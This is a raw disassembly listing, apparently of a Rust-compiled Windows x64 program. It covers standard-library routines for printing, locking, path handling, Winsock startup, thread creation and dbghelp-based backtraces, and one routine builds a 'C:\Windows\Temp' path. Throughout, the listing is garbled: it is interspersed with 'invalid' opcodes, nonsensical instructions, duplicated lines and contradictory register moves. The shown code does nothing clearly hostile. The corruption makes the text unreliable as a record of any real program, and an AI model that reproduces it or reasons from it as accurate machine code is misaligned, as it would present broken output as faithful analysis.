mov byte [rbp + 6], dl
mov esi, 3
jmp 0x1400de2a4
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [rbp + 4], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rbp + 5], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp + 6], al
and dl, 0x3f
or dl, 0x80
mov byte [rbp + 7], dl
mov esi, 4
mov rdi, qword [rcx]
mov rax, qword [rdi]
mov rbx, qword [rdi + 0x10]
sub rax, rbx
cmp rax, rsi
jb 0x1400de2db
mov rcx, qword [rdi + 8]
add rcx, rbx
lea rdx, [rbp + 4]
mov r8, rsi
call fcn.140106530
add rbx, rsi
mov qword [rdi + 0x10], rbx
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.1401103f0
mov rbx, qword [rdi + 0x10]
jmp 0x1400de2b6
pop rbp
jmp fcn.140013990
int3
add byte [rax], al
lea rbp, [rsp + 0x80]
mov qword [rbp + 8], 0xfffffffffffffffe
mov rsi, rcx
lea rax, str.stdoutstderrlibrary_std_srciomod.rs
add byte [rax - 0x77], cl
movabs al, byte [0x6a845c748]
add byte [rax], al
add byte [rax - 0x39], cl
or r14b, r15b
invalid
add byte [rax - 0x77], cl
movabs al, byte [0x6a845c748]
call fcn.1400ddf80
test al, al
ror byte [rdi], 0x85
invalid
add dword [rax], eax
invalid
ror byte [rdi], 0x85
invalid
mov rax, qword [0x1401821e0]
cmp rax, 3
jne 0x1400de476
mov rax, qword [0x1401821e8]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
lea rcx, [rcx + 0x81]
cmp rax, rcx
jne 0x1400de3a6
mov eax, dword [0x1401821f0]
inc eax
jne 0x1400de3de
lea rcx, str.lock_count_overflow_in_reentrant_mutexlibrary_std_src_sync_reentrant_lock.rs
lea r8, [0x14014a618]
mov edx, 0x26
call fcn.140108990
invalid
mov cl, 1
xor eax, eax
lock cmpxchg byte [0x1401821f4], cl
add dword [rcx], esi
sal al, 0xf
mov al, 0xd
or al, byte ds:[rax]
jne 0x1400de480
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rax, [rax + 0x81]
mov qword [0x1401821e8], rax
mov eax, 1
push rsi
invalid
mov dword [0x1401821f0], eax
lea rax, [0x1401821e8]
mov qword [rbp - 0x50], rax
lea rdi, [rbp - 0x50]
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], 0
lea rdx, [0x140149780]
lea rcx, [rbp - 0x30]
mov r8, rsi
call fcn.140013990
mov rcx, qword [rbp - 0x28]
test al, al
je 0x1400de433
test rcx, rcx
lea rsi, str.formatter_error
cmovne rsi, rcx
mov rcx, qword [rbp - 0x50]
dec dword [rcx + 8]
jne 0x1400de466
jmp 0x1400de44c
test rcx, rcx
je 0x1400de441
lea rcx, [rbp - 0x28]
call fcn.1400d3380
xor esi, esi
mov rcx, qword [rbp - 0x50]
dec dword [rcx + 8]
jne 0x1400de466
mov qword [rcx], 0
xor eax, eax
xchg byte [rcx + 0xc], al
cmp al, 2
jne 0x1400de466
add rcx, 0xc
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test rsi, rsi
jne 0x1400de491
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
call fcn.1401106d0
jmp 0x1400de35e
lea rcx, [0x1401821f4]
call fcn.140110530
jmp 0x1400de3b8
mov qword [rbp], rsi
lea rax, [rbp - 0x60]
mov qword [rbp - 0x50], rax
lea rax, [0x140013930]
mov qword [rbp - 0x48], rax
mov rax, rbp
mov qword [rbp - 0x40], rax
lea rax, [fcn.1400da120]
mov qword [rbp - 0x38], rax
lea rax, str.failed_printing_to_:
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 2
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], 2
lea rdx, str.library_std_srcio_stdio.rs
lea rcx, [rbp - 0x30]
call fcn.140108560
ud2
lea esi, [0x14014a2d8]
cmovne rsi, rcx
mov rcx, qword [rbp - 0x50]
dec dword [rcx + 8]
jne 0x1400de6d5
jmp 0x1400de6bb
or dword [rax - 0x73], ecx
fsubr st(0)
ror byte [rdi + rdi*8 - 1], 1
xor esi, esi
mov rcx, qword [rbp - 0x50]
dec dword [rcx + 8]
jne 0x1400de6d5
mov qword [rcx], 0
xor eax, eax
rol byte [rsi + 0x23c0c41], 0x75
invalid
rol byte [rsi + 0x23c0c41], 0x75
or cl, byte [rax - 0x7d]
ror dword [rdi + rdi*8], 0x15
invalid
add rcx, 0xc
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test rsi, rsi
jne 0x1400de6f6
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
mov qword [rbp], rsi
lea rax, [rbp - 0x60]
mov qword [rbp - 0x50], rax
lea rax, [0x140013930]
mov qword [rbp - 0x48], rax
mov rax, rbp
mov qword [rbp - 0x40], rax
lea rax, [fcn.1400da120]
mov qword [rbp - 0x38], rax
lea rax, str.failed_printing_to_:
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 2
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], 2
lea rdx, str.library_std_srcio_stdio.rs
lea rcx, [rbp - 0x30]
call fcn.140108560
ud2
add byte [rax], al
lea rbp, [rsp + 0x80]
mov rax, rdx
mov rsi, rcx
mov rdx, qword [rdx]
mov rdi, qword [rax + 8]
movzx eax, word [rax + 0x10]
adc byte [rsi - 0x77], spl
test dword [rsi + 1], esp
add byte [rax], al
invalid
adc byte [rsi - 0x77], spl
test dword [rsi + 1], esp
add byte [rax], al
invalid
add byte [rax - 0x75], cl
add eax, 0xa3a46
or al, byte [rax]
mov rax, qword [0x140182268]
or al, byte [rax]
cmp rax, 3
jne 0x1400de9e2
lea rax, [rbp + 0x166]
mov qword [rbp + 0x150], rax
mov dword [rbp + 0x150], eax
add word [rax], ax
add byte [rax - 0x77], cl
mov dword [rbp + 0x150], eax
mov dword [rbp + 0x150], eax
cmp rdi, 0x17f
cmp edi, 0x17f
ja 0x1400dea08
lea rbx, [rbp - 0x60]
mov rcx, rbx
mov r8, rdi
mov eax, edi
mov eax, edi
call fcn.140106530
mov byte [rbp + rdi - 0x60], 0
lea rax, [rdi + 1]
cmp rdi, 0xe
invalid
ja 0x1400de888
invalid
xor edx, edx
nop word [rax + rax]
cmp byte [rbp + rdx - 0x60], 0
je 0x1400de944
add byte [rax], al
add byte [rax], al
inc rdx
cmp rax, rdx
jne 0x1400de870
jmp 0x1400de9ad
lea rcx, [rbp - 0x59]
and rcx, 0xfffffffffffffff8
sub rcx, rbx
je 0x1400de8be
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x1400dea1a
mov rbx, rdx
call fcn.1401108a0
mov rdx, rbx
lea rax, [rbp + 0x166]
mov qword [rbp + 0x150], rax
cmp rdi, 0x17f
jbe 0x1400de847
lea r9, [rbp + 0x150]
mov rcx, rsi
mov r8, rdi
call fcn.140110910
nop
add rsp, 0x1e8
pop rbx
pop rdi
pop rsi
pop rbp
ret
add al, 0x44
mov eax, dword [rax + 0x18]
movups xmm0, xmmword [rax + 8]
adc byte [rax + 8], al
movups xmmword [r15], xmm0
mov word [rbp - 0x18], 1
movzx eax, word [rbp - 0x1a]
mov word [r14 + 0x10], ax
invalid
invalid
adc byte [rdi], r9b
adc byte [rbp - 0x2a], al
movups xmm0, xmmword [rbp - 0x2a]
movups xmmword [r14], xmm0
movups xmmword [rsi], xmm0
adc dword [rsi], eax
mov dword [rbp - 4], edx
mov dword [rbp], r8d
mov word [rbp + 4], cx
movzx eax, word [rbp - 0x18]
mov ecx, dword [rbp - 0x16]
invalid
invalid
movzx edx, word [rbp - 0x12]
push rbp
out dx, al
mov r8, qword [rbp - 0x10]
invalid
mov r9d, dword [rbp - 8]
mov dword [rsi + 0x10], r9d
mov r9d, dword [rbp - 4]
cld
cld
mov dword [rsi + 0x14], r9d
mov r9d, dword [rbp]
invalid
add byte [rcx + rcx*4 + 0x4e], al
sbb byte [rdi + rcx - 0x49], al
mov dword [rsi + 0x18], r9d
movzx r9d, word [rbp + 4]
add al, 0x66
mov dword [rsi + 0x1c], r9d
sbb byte [rdi + r9 - 0x49], r8b
add al, 0x66
add al, 0x66
mov dword [rsi + 0x1c], r9d
movzx r9d, word [rbp + 6]
mov word [rsi + 0x1e], r9w
mov word [rsi], ax
invalid
mov dword [rsi + 2], ecx
mov word [rsi + 6], dx
mov qword [rsi + 8], r8
mov dword [rsi + 8], eax
add r12b, byte [rsi - 0x77]
push rsi
invalid
mov dword [rsi + 8], eax
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x14014bb29]
lea r8, str.library_std_src_sys_common_net.rsassertion_failed:_len___mem::size_of::_c::sockaddr_in___
mov edx, 0x39
call fcn.140108630
lea rcx, str.assertion_failed:_len___mem::size_of::_c::sockaddr_in6___
lea r8, str.library_std_src_sys_common_net.rsassertion_failed:_len___mem::size_of::_c::sockaddr_in___
add eax, 0x6cd47
mov edx, 0x3a
call fcn.140108630
int3
cwde
add dword [rax], eax
add byte [rax - 0x77], cl
int1
xor edx, edx
call fcn.140106cb0
mov cx, 0x202
mov rdx, rsi
call qword [sym.imp.ws2_32.dll_WSAStartup]
add byte [rcx + 0x16c85], cl
invalid
add byte [rcx + 0x16c85], cl
add byte [rbp + 0x482175c0], al
test eax, eax
jne 0x1400def00
mov rax, qword [sym.imp.ws2_32.dll_WSACleanup]
mov qword [rdi], rax
add rsp, 0x1f0
add byte [rdi + 0x5e], bl
test eax, eax
jne 0x1400def00
add byte [rdi + 0x5e], bl
pop rbp
ret
test dword [rax], edi
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rbp + 0x16c]
lea rdx, [rbp + 0x138]
call fcn.140110b60
int3
mov rax, rcx
mul r11
shr rdx, 0xb
imul eax, edx, 0x2710
mov edi, ecx
sub edi, eax
imul ebx, edi, 0x147b
add byte [rax], al
add byte [rax], al
shr ebx, 0x13
imul eax, ebx, 0x64
sub edi, eax
movzx edi, di
lea rax, [rsi - 4]
movzx ebx, word [r9 + rbx*2]
sbb al, 0x59
sbb al, 0x59
mov word [rbp + rsi - 0x4c], bx
movzx edi, word [r9 + rdi*2]
movzx edi, word [rcx + rdi*2]
mov word [rbp + rsi - 0x4a], di
mov rsi, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
mov ecx, edx
ja 0x1400def90
cmp rdx, 0x63
invalid
jbe 0x1400df00c
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
jnp 0x1400df000
add byte [rax], al
jnp 0x1400df000
add byte [rax], al
shr ecx, 0x11
imul r11d, ecx, 0x64
fldenv [rsp + rax*2 + 0x29]
invalid
fldenv [rsp + rax*2 + 0x29]
fimul dword [rdi]
mov bh, 0xd2
sub edx, r11d
movzx edx, dx
movzx edx, word [r9 + rdx*2]
mov word [rbp + rax - 0x4a], dx
add rax, 0xfffffffffffffffe
add eax, 0xfffffffe
add eax, 0xfffffffe
dec byte [rax - 0x77]
retf 0x894c
mov rdx, rcx
mov edx, ecx
mov rcx, r10
cmp rdx, 0xa
cmp edx, 0xa
jae 0x1400df117
or dl, 0x30
mov byte [rbp + rax - 0x49], dl
dec rax
enter 0xfffffffffffffde9, 0
jmp 0x1400df125
std
add byte [rax], al
add byte [rax], al
mov eax, dword [rax]
mov r9d, 0x81
mov ecx, 0x81
invalid
invalid
add byte [rax], al
mov eax, dword [rax]
mov r9d, 0x81
mov ecx, 0x81
mov ecx, 0x81
add dword [rax], 0x89410000
mov r8d, eax
nop word cs:[rax + rax]
nop word cs:[rax + rax]
shl byte [rsi + 0x66], 0x66
nop word cs:[rax + rax]
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
leave
shr r8d, 4
mov r9d, eax
mov ecx, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx ecx, dl
mov dh, 0xca
movzx r10d, r11b
mov dh, 0xd3
cmovb r10d, r9d
cmovb edx, ecx
mov byte [rbp + rcx - 0x4a], r10b
lea r9, [rcx - 1]
inc dword [rbx - 0x76bbef08]
invalid
jae case.0x1400dc47a.111
inc dword [rbx - 0x76bbef08]
sal byte [rbx - 0x37], 0xeb
mov r8, qword [rax]
jmp 0x1400df0c7
mov r9d, 0x81
mov r8d, eax
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
shr r8d, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
stc
or al, byte [rbp + 0xf]
movzx ecx, dl
pop rcx
invalid
stc
or al, byte [rbp + 0xf]
movzx ecx, dl
movzx ecx, dl
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x4a], r10b
lea r9, [rcx - 1]
lea ecx, [rcx - 1]
lea ecx, [rcx - 1]
inc dword [rbx - 0x76bbef08]
cmp eax, 0x10
mov eax, r8d
mov eax, eax
mov eax, eax
sal byte [rbx - 0x37], 0x48
add ecx, 0xfffffffe
jae case.0x1400dbe39.85
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x1400df161
add byte [rax + 0x81], bh
mov eax, 0x81
sub rax, r9
add rcx, rbp
enter 0x148, 0xffffffffffffffe9
add rcx, 0xffffffffffffffb8
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
mov qword [rsp + 0x20], rcx
lea r8, [0x140172d18]
add eax, 0x93c20
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x1400df14f
mov edx, ecx
cmp rdx, 0x63
ja 0x1400defe2
jmp 0x1400df00c
movzx edx, word [r9 + rdx*2]
mov word [rbp + rax - 0x4a], dx
add rax, 0xfffffffffffffffe
test r8d, r8d
setns dl
lea r8, [rax + rbp]
add r8, 0xffffffffffffffb8
mov r9d, 0x27
sub r9, rax
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], r8
mov r8d, 1
xor r9d, r9d
call fcn.140012de0
nop
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140115248]
mov edx, 0x80
call fcn.1401085a0
int3
int3
or ecx, esp
int3
sub rsp, 0xa0
lea rbp, [rsp + 0x80]
mov rsi, rdx
mov rdi, rcx
iretd
lea rcx, [rbp - 0x18]
call 0x18a087af8
mov eax, esi
iretd
call 0x18a087af8
mov eax, esi
call fcn.1400d7ec0
movzx edx, byte [rbp - 0x18]
call 0x1385b7d07
call 0x1385b7d07
mov rax, qword [rbp + 8]
lea r8, [0x14017991c]
lea eax, [0x14017991c]
lea eax, [0x14017991c]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rsi
mov r8, rdi
jmp r9
invalid
add rcx, 4
jmp 0x1400df214
invalid
xor al, 0x48
lea edx, [rax + 1]
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x1400df214
mov ecx, 6
jmp 0x1400df214
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x1400df214
mov ecx, 2
mov rdx, rsi
sub rdx, rcx
jb 0x1400df28e
add rcx, rdi
mov r8, rcx
test rdx, rdx
je 0x1400df239
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x1400df23b
xor eax, eax
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], rsi
movups xmm0, xmmword [rbp - 0x18]
movups xmm1, xmmword [rbp - 8]
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm1
mov rcx, qword [rbp + 8]
mov qword [rbp - 0x28], rcx
mov byte [rbp - 0x1e], al
mov word [rbp - 0x20], 0x200
lea rcx, [rbp - 0x18]
lea rdx, [rbp - 0x58]
call fcn.1400dc860
cmp byte [rbp - 0x18], 9
mov rdx, qword [rbp - 8]
jne 0x1400df281
mov rax, qword [rbp - 0x10]
jmp 0x1400df283
xor eax, eax
add rsp, 0xa0
pop rdi
pop rsi
add byte [rdi + 0x5e], bl
pop rbp
ret
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.1401085a0
int3
push rdi
sub rsp, 0x50
push rax
lea rbp, [rsp + 0x50]
mov rsi, rcx
mov rax, qword [rcx]
mov rcx, rax
inc rcx
je 0x1400df324
lea rdx, [rax + rax]
cmp rdx, rcx
cmp edx, ecx
cmp edx, ecx
cmova rcx, rdx
cmp rcx, 9
mov edi, 8
cmovae rdi, rcx
mov rdx, rdi
cli
cli
not rdx
shr rdx, 0x3f
test rax, rax
je 0x1400df2f4
mov rcx, qword [rsi + 8]
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x20], rax
mov eax, 1
or byte [rax - 0x77], cl
ror byte [r8 - 0x77], 1
loopne 0x1400df2a6
add dword [rax], eax
add byte [rax], al
jmp 0x1400df2f6
xor eax, eax
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x18]
lea r9, [rbp - 0x30]
mov r8, rdi
call fcn.1400d4a40
dec dword [rax - 0x7d]
jge 0x1400df2f6
add byte [rbp + 0x1a], dh
dec dword [rax - 0x7d]
jge 0x1400df2f6
add byte [rbp + 0x1a], dh
mov rax, qword [rbp - 0x10]
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
xor ecx, ecx
call fcn.1401082a0
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
push rbp
clc
push rbp
clc
call fcn.1401082a0
int3
insb byte [rdi], dx
and al, 0x40
mov qword [rbp], 0xfffffffffffffffe
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
movzx eax, byte [0x140182310]
mov edx, 0xf
add byte [rax], al
add byte [rcx], dh
leave
add byte [rax], al
add byte [rcx], dh
leave
call fcn.1400df910
test rax, rax
je 0x1400df3d0
movabs rcx, 0x706d65545c73776f
mov qword [rax + 7], rcx
movabs rcx, 0x6f646e69575c3a43
mov qword [rax], rcx
mov qword [rbp - 0x20], 0xf
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 8], 0
lea rcx, [rbp - 0x20]
mov rdx, rbx
mov r8, rdi
mov eax, edi
mov eax, edi
call case.0x1400733b1.1187
movups xmm0, xmmword [rbp - 0x20]
movups xmm1, xmmword [rbp - 0x10]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov ecx, 1
mov edx, 0xf
call fcn.1401082a0
int3
movzx eax, byte [0x140182310]
mov edx, 0x10
adc byte [rax], al
add byte [rax], al
adc byte [rax], al
add byte [rax], al
xor ecx, ecx
call fcn.1400df910
add al, 0
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
mov bh, 0
add byte [rax], al
add al, 0
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
mov bh, 0
add byte [rax], al
mov rbx, rax
mov qword [rax], r14
mov qword [rax + 8], rdi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10000
lea r8, [0x1400df5d0]
xor edi, edi
xor ecx, ecx
mov rdx, rsi
mov r9, rax
call qword [sym.imp.kernel32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x1400df505
mov rcx, qword [rbx]
mov qword [rbp - 0x20], rbx
mov rax, qword [rbx + 8]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x18], rax
call qword [rax]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
mov rsi, qword [rbp - 0x20]
je 0x1400df4de
cmp qword [rax + 0x10], 0x11
jae 0x1400df4c7
mov r8, qword [rbp - 0x10]
jmp 0x1400df4cf
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
mov rax, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], rdi
mov ecx, 8
mov edx, 0x10
call fcn.1401082c0
ud2
jae 0x1400df625
mov r8, qword [rbp - 8]
jmp 0x1400df62d
mov r8, qword [rbp - 8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp - 0x20]
call qword [sym.imp.kernel32.dll_HeapFree]
xor eax, eax
add rsp, 0x48
pop rsi
pop rbp
ret
invalid
invalid
inc qword [rbp + 0x1678]
mov qword [rbp + 0x1718], 0
mov rcx, rsi
lea rdx, [rbp + 0x1718]
xor r8d, r8d
call qword [sym.imp.kernel32.dll_RtlLookupFunctionEntry]
mov rbx, rsi
test rax, rax
je 0x1400e0903
mov rdx, qword [rbp + 0x1718]
mov rcx, qword [rbp + 0x1058]
mov dword [rbp + 0x1648], 0
mov qword [rbp + 0x1650], rdx
mov qword [rbp + 0x1658], rbx
mov qword [rbp + 0x1660], rcx
cmp byte [rbp + 0x1755], 0
jne 0x1400dfcd5
cmp qword [rbp + 0x1678], 0x64
ja 0x1400e0903
mov qword [rbp + 0x1670], rax
mov byte [rbp + 0x1752], 0
lea rax, [rbp + 0x1752]
mov qword [rbp + 0x1680], rax
lea rax, [rbp + 0x1755]
mov qword [rbp + 0x1688], rax
lea rax, [rbp + 0x1753]
mov qword [rbp + 0x1690], rax
lea rax, [rbp + 0x15e0]
mov qword [rbp + 0x1698], rax
lea rax, [rbp + 0x1747]
mov qword [rbp + 0x16a0], rax
lea rax, [rbp + 0x15b0]
mov qword [rbp + 0x16a8], rax
lea rax, [rbp + 0x1756]
mov qword [rbp + 0x16b0], rax
lea rax, [rbp + 0x1648]
mov qword [rbp + 0x16b8], rax
mov rdi, qword [0x140182248]
test rdi, rdi
je 0x1400dff50
mov rcx, rdi
mov edx, 0xffffffff
xor r8d, r8d
call qword [sym.imp.kernel32.dll_WaitForSingleObjectEx]
mov rax, qword [0x140182280]
test rax, rax
jne 0x1400dfd9d
lea rcx, str.dbghelp.dll
call qword [sym.imp.kernel32.dll_LoadLibraryA]
mov qword [0x140182280], rax
test rax, rax
je 0x1400e0062
cmp byte [0x140182250], 0
mov qword [rbp + 0x1748], rdi
jne 0x1400e01ee
mov rcx, qword [0x140182288]
test rcx, rcx
jne 0x1400dfddf
mov rcx, rax
lea rdx, str.SymGetOptions
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400e0c24
mov rcx, rax
mov qword [0x140182288], rax
call rcx
mov ecx, eax
mov rax, qword [0x140182290]
test rax, rax
jne 0x1400dfe16
mov esi, ecx
mov rcx, qword [0x140182280]
lea rdx, str.SymSetOptions
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400e0c0f
mov qword [0x140182290], rax
mov ecx, esi
or ecx, 4
call rax
mov rsi, qword [0x140182298]
test rsi, rsi
jne 0x1400dfe4d
mov rcx, qword [0x140182280]
or eax, 0xa2452
lea rdx, str.SymInitializeW
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400e0bfa
mov rsi, rax
mov qword [0x140182298], rax
call sub.kernel32.dll_GetCurrentProcess
mov rcx, rax
xor edx, edx
mov r8d, 1
call rsi
mov qword [rbp + 0x16d8], 0
mov qword [rbp + 0x16e0], 2
mov qword [rbp + 0x16e8], 0
mov qword [rbp + 0x1720], rdi
mov byte [rbp + 0x1757], 1
mov r8d, 0x400
mov rcx, r13
xor edx, edx
call fcn.140110490
mov rdi, rbx
mov rsi, qword [rbp + 0x16e0]
mov rbx, qword [rbp + 0x16e8]
lea rcx, [rsi + rbx*2]
mov r8d, 0x7fe
xor edx, edx
call fcn.140106cb0
mov word [rsi + rbx*2 + 0x7fe], 0
add rbx, 0x400
invalid
add byte [rax - 0x77], cl
popfq
call 0x18c0dfeef
mov r14, qword [0x1401822a0]
mov qword [rbp + 0x16e8], rbx
mov r14, qword [0x1401822a0]
test r14, r14
test esi, esi
jne 0x1400dff0a
mov rcx, qword [0x140182280]
lea rdx, str.SymGetSearchPathW
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400e0bd7
mov r14, rax
mov qword [0x1401822a0], rax
call sub.kernel32.dll_GetCurrentProcess
mov rcx, rax
mov rdx, rsi
mov r8d, ebx
call r14
cmp eax, 1
jne 0x1400e003d
mov rcx, rsi
call qword [sym.imp.kernel32.dll_lstrlenW]
test eax, eax
mov r14, qword [rbp + 0x1748]
js 0x1400e0b6e
mov eax, eax
cmp rbx, rax
mov rbx, rdi
jae 0x1400e00ee
jmp 0x1400e00f5
movups xmm0, xmmword [0x14014aec8]
movaps xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [str.LocalRustBacktraceMutex00000000]
movaps xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x20], 0
call qword [sym.imp.kernel32.dll_GetCurrentProcessId]
test eax, eax
je 0x1400dffdf
mov ecx, 0x1f
nop dword [rax]
add byte [rdi], cl
invalid
cmp rcx, 0x20
ja 0x1400e09e3
add byte [rax], al
add byte [rax], al
mov edx, eax
and dl, 0xf
lea r8d, [rdx + 0x30]
lea r9d, [rdx + 0x37]
cmp dl, 0xa
movzx edx, r8b
movzx r8d, r9b
cmovb r8d, edx
mov byte [rbp + rcx - 0x40], r8b
cmp eax, 0x10
jb 0x1400dffdf
mov edx, eax
shr dl, 4
lea r8d, [rdx + 0x30]
add dl, 0x37
cmp al, 0xa0
movzx r8d, r8b
movzx edx, dl
cmovb edx, r8d
mov byte [rbp + rcx - 0x41], dl
mov edx, eax
shr edx, 8
add rcx, 0xfffffffffffffffe
cmp eax, 0x100
mov eax, edx
jae case.0x140031ef2.2731
movzx eax, byte [rbp - 0x20]
mov byte [rbp + 0x14b0], al
movaps xmm0, xmmword [rbp - 0x40]
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x14a0], xmm1
movaps xmmword [rbp + 0x1490], xmm0
xor ecx, ecx
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_CreateMutexA]
test rax, rax
je 0x1400e0329
mov rdi, rax
xor eax, eax
lock cmpxchg qword [0x140182248], rdi
je 0x1400dfd63
mov rsi, rax
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rdi, rsi
jmp 0x1400dfd63
mov qword [rbp + 0x16e8], 0
mov rcx, qword [rbp + 0x16d8]
test rcx, rcx
mov r14, qword [rbp + 0x1748]
je 0x1400e0070
xor eax, eax
mov rbx, rdi
jmp 0x1400e00a5
mov rcx, rdi
call qword [sym.imp.kernel32.dll_ReleaseMutex]
jmp 0x1400e0329
mov qword [rbp + 0x1720], r14
mov byte [rbp + 0x1757], 1
mov rcx, r13
call fcn.1400d8f90
mov rbx, rdi
mov rax, qword [rbp + 0x16e8]
mov rcx, qword [rbp + 0x16d8]
mov rsi, qword [rbp + 0x16e0]
mov r14, qword [rbp + 0x1748]
mov word [rsi + rax*2], 0x2e
inc rax
mov qword [rbp + 0x16e8], rax
cmp rax, rcx
jne 0x1400e00e5
mov qword [rbp + 0x1720], r14
mov byte [rbp + 0x1757], 1
mov rcx, r13
call fcn.1400d8f90
mov rsi, qword [rbp + 0x16e0]
mov rax, qword [rbp + 0x16e8]
mov r14, qword [rbp + 0x1748]
mov word [rsi + rax*2], 0x3b
inc rax
mov qword [rbp + 0x16e8], rax
mov rax, qword [rbp + 0x16e8]
mov qword [rbp + 0x14a0], rax
movups xmm0, xmmword [rbp + 0x16d8]
movaps xmmword [rbp + 0x1490], xmm0
mov rsi, qword [0x1401822b0]
test rsi, rsi
jne 0x1400e0143
mov rcx, qword [0x140182280]
lea rdx, str.EnumerateLoadedModulesW64
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400e0bb8
mov rsi, rax
mov qword [0x1401822b0], rax
call sub.kernel32.dll_GetCurrentProcess
mov rcx, rax
lea rdx, [0x1400d9030]
mov r8, r12
call rsi
movaps xmm0, xmmword [rbp + 0x1490]
movaps xmmword [rbp - 0x40], xmm0
mov rax, qword [rbp + 0x14a0]
mov qword [rbp - 0x30], rax
mov r14, qword [rbp - 0x40]
cmp rax, r14
jne 0x1400e0187
lea rcx, [rbp - 0x40]
call fcn.1400d8f90
mov r14, qword [rbp - 0x40]
mov rax, qword [rbp - 0x30]
mov rdi, qword [rbp - 0x38]
mov word [rdi + rax*2], 0
mov rsi, qword [0x1401822a8]
test rsi, rsi
jne 0x1400e01c3
mov rcx, qword [0x140182280]
lea rdx, str.SymSetSearchPathW
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400e0b99
mov rsi, rax
mov qword [0x1401822a8], rax
mov dword [0x1401822a8], eax
